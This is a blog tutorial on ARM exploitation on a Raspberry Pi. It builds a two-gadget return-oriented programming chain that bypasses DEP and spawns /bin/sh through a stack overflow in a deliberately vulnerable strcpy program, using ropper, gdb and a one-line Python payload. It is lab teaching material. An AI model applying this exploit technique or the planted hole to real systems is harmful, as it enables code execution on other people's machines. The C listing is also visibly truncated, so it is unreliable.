ARM Exploitation with Raspberry Pi: Introduction to Return Oriented Programming (ROP)

5 minute read

In the previous post, we have learnt how to execute a system shell in ARM using ret-to-libc.

see post: ARM Exploitation with Raspberry Pi: ARM Ret-to-Libc

Before proceeding, you can also read the previous posts:

ARM Exploitation with Raspberry Pi: Lab Setup

ARM Exploitation with Raspberry Pi: Basic Stack Overflow

ARM Exploitation with Raspberry Pi: Return Back to Program without Crashing

In this post, we will discuss how to create a simple ROP chain of multiple gadgets to get the same result.

Why ROP?

To prevent attackers from executing arbitrary code snippet, a security measure- DEP (Data Execution Prevention) is used. It is also known as W^X (Write or Execute).

Return Oriented Programming aka ROP can bypass this protection mechanism and gained popularity among the attackers. ROP chains are usually chained together using multiple gadgets and how long a chain should be depends on the objective of the attacker.

In this post, we will use a simple chain of only two gadgets to execute /bin/sh using system-

1. pop {r4, pc}
2. ldr r0, [sp, #4]; blx r4

I found these two gadgets in this post.

Now, let’s find the addresses of required parameters and gadgets first. Then we will build our payload.

Vulnerable Program

We will use the following vulnerable program to exploit using ret-to-libc.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// This is our vulnerable function
void vulnerable(char *arg) {
    char buff[100];
    // to print return address
    strcpy(buff, arg);

// Pass argument in the vulnerable function
int main(int argc, char *argv[]) {
    return 0;

Payload Structure

As we have 100 B buffer size, we will have the return address at starting at 105th position. So, we will fill the first 104 Bytes with any character or NOP sled. Here, the example payload looks like as follows:

initial payload = 104 B NOP/Char + 1st Gadget Address + R4 Value + PC value +...

Here, we will put the address of the 2nd gadget in PC and address of system() in R4.

Now, after we put address of 2nd address in PC, we will need only the value for $R0$. We will put the address of /bin/sh in $R0$ followed by a 4B junks (because of [sp, #4]).

Now, the payload is complete:

payload = 104 B NOP + 1st gadget Addr. + system() addr. + 2nd gadget Addr. + "JUNK" + /bin/sh addr.

Find Addresses

Find Base Address

Now, we need to find out the shared library dependency for a particular executable of a vulnerable program,

$ ldd ./overflow (0x76ffd000)
	/usr/lib/arm-linux-gnueabihf/ (0x76fb8000) => /lib/arm-linux-gnueabihf/ (0x76e79000)
	/lib/ (0x76fce000)

Note: For larger/complex program the output is much longer. In that case, it is better to filter using grep.

$ ldd ./overflow | grep "" => /lib/arm-linux-gnueabihf/ (0x76e47000)

The base address is required to obtain the final address of the gadgets.

Address of the 1st gadget

First, let’s find the address of pop {r4, pc} using Ropper.

pi@raspberrypi:~$ ropper --file /lib/arm-linux-gnueabihf/ --search "pop {r4, pc}"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop {r4, pc}

[INFO] File: /lib/arm-linux-gnueabihf/
0x00018164: pop {r4, pc}; 
0x000c4308: pop {r4, pc}; cmp r1, #2; strls r1, [r0, #0x10c]; movls r0, #0; movhi r0, #0x16; bx lr; 
0x0010d30c: pop {r4, pc}; cmp r2, #0; bne #0x10d320; mov r0, #1; bx lr; 
0x00114a90: pop {r4, pc}; ldr r3, [pc, #0x24]; add r3, pc, r3; ldr r3, [r3]; ldr r3, [r3]; blx r3; 
0x00114b5c: pop {r4, pc}; ldr r3, [pc, #0x28]; add r3, pc, r3; ldr r3, [r3]; ldr r3, [r3, #4]; blx r3; 
0x000c42d0: pop {r4, pc}; ldr r3, [r0, #0x10c]; mov r0, #0; str r3, [r1]; bx lr; 
0x000c3a80: pop {r4, pc}; ldrsh r3, [r0]; mov r0, #0; strh r3, [r1]; bx lr; 
0x000c3a40: pop {r4, pc}; mov r0, #0; bx lr; 
0x00114798: pop {r4, pc}; mov r0, #0; pop {r4, pc}; mov r0, #0; bx lr; 
0x000d16b4: pop {r4, pc}; mov r0, #1; bx lr; 
0x0008065c: pop {r4, pc}; mov r0, ip; bx lr; 
0x00077960: pop {r4, pc}; mov r0, r1; bx lr; 
0x00073904: pop {r4, pc}; mov r1, lr; bx r3; 
0x000f4d00: pop {r4, pc}; mvn r0, #0; bx lr; 
0x000f57f8: pop {r4, pc}; mvn r0, #0; pop {r4, pc}; mvn r0, #0; bx lr;

We need the first one. So the required offset address is $0x00018164$.

Now, let’s add the offset with the base address:

pi@raspberrypi:~$ python3
Python 3.7.3 (default, Dec 20 2019, 18:57:59) 
[GCC 8.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0x76e47000+0x00018164)

So, our final address for the gadget pop {r4, pc} is $0x76e5f164$.

Address of the 2nd gadget

Now, let’s look for the address of the 2nd gadget in similar way.

pi@raspberrypi:~$ ropper --file /lib/arm-linux-gnueabihf/ --search "ldr r0, [sp, #4]; blx r4"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ldr r0, [sp, #4]; blx r4

[INFO] File: /lib/arm-linux-gnueabihf/
0x0002d290: ldr r0, [sp, #4]; blx r4;

So, we get the offset of the second gadget which is $0x0002d290$.

Now, adding to the base address, we get the final address as $0x76e74290$.

Address of System()

Let’s find the address of the system using gdb:

$ gdb -q ./overflow
    GEF for linux ready, type `gef' to start, `gef config' to configure
    79 commands loaded for GDB using Python engine 3.5
    [*] 1 command could not be loaded, run `gef missing` to know why.
    Reading symbols from ./overflow...(no debugging symbols found)...done.
    gef->  break main
    Breakpoint 1 at 0x104fc
    gef->  run
    Starting program: /home/pi/overflow
    gef->  print system
    $1 = {int (const char *)} 0x76e7f9c8 <__libc_system>

Address of /bin/sh

We can retrieve the address of /bin/sh in the same way inside gdb

    gef> find &system,+9999999,"/bin/sh"
warning: Unable to access 16000 bytes of target memory at 0x76f82574, halting search.
1 pattern found.

So, the final address is : $0x76f72b6c$

Final Payload

The padding should be upto the byte before return address starts. For example in our testbed we used 100 char arrays. Therefore, the return address should start from $105^{th}$ position and the padding should be 104 character or similar size of NoP sled.

Note that, the addresses should be in Little Endian order.

$ ./overflow $(python -c 'print "A"*104+"\x64\xf1\xe5\x76"+"\xc8\xf9\xe7\x76"+"\x90\x42\xe7\x76"+"JUNK"+"\x6c\x2b\xf7\x76"')

Output in Terminal

So, the output will look like as follows:

pi@raspberrypi:~$ ./overflow $(python -c 'print "A"*104+"\x64\xf1\xe5\x76"+"\xc8\xf9\xe7\x76"+"\x90\x42\xe7\x76"+"JUNK"+"\x6c\x2b\xf7\x76"')

$ ls
nothin	overflow  overflow.c  rop_script
$ pwd


Have fun!!!


  1. ARM Exploitation - Defeating DEP - execute system()

Leave a Comment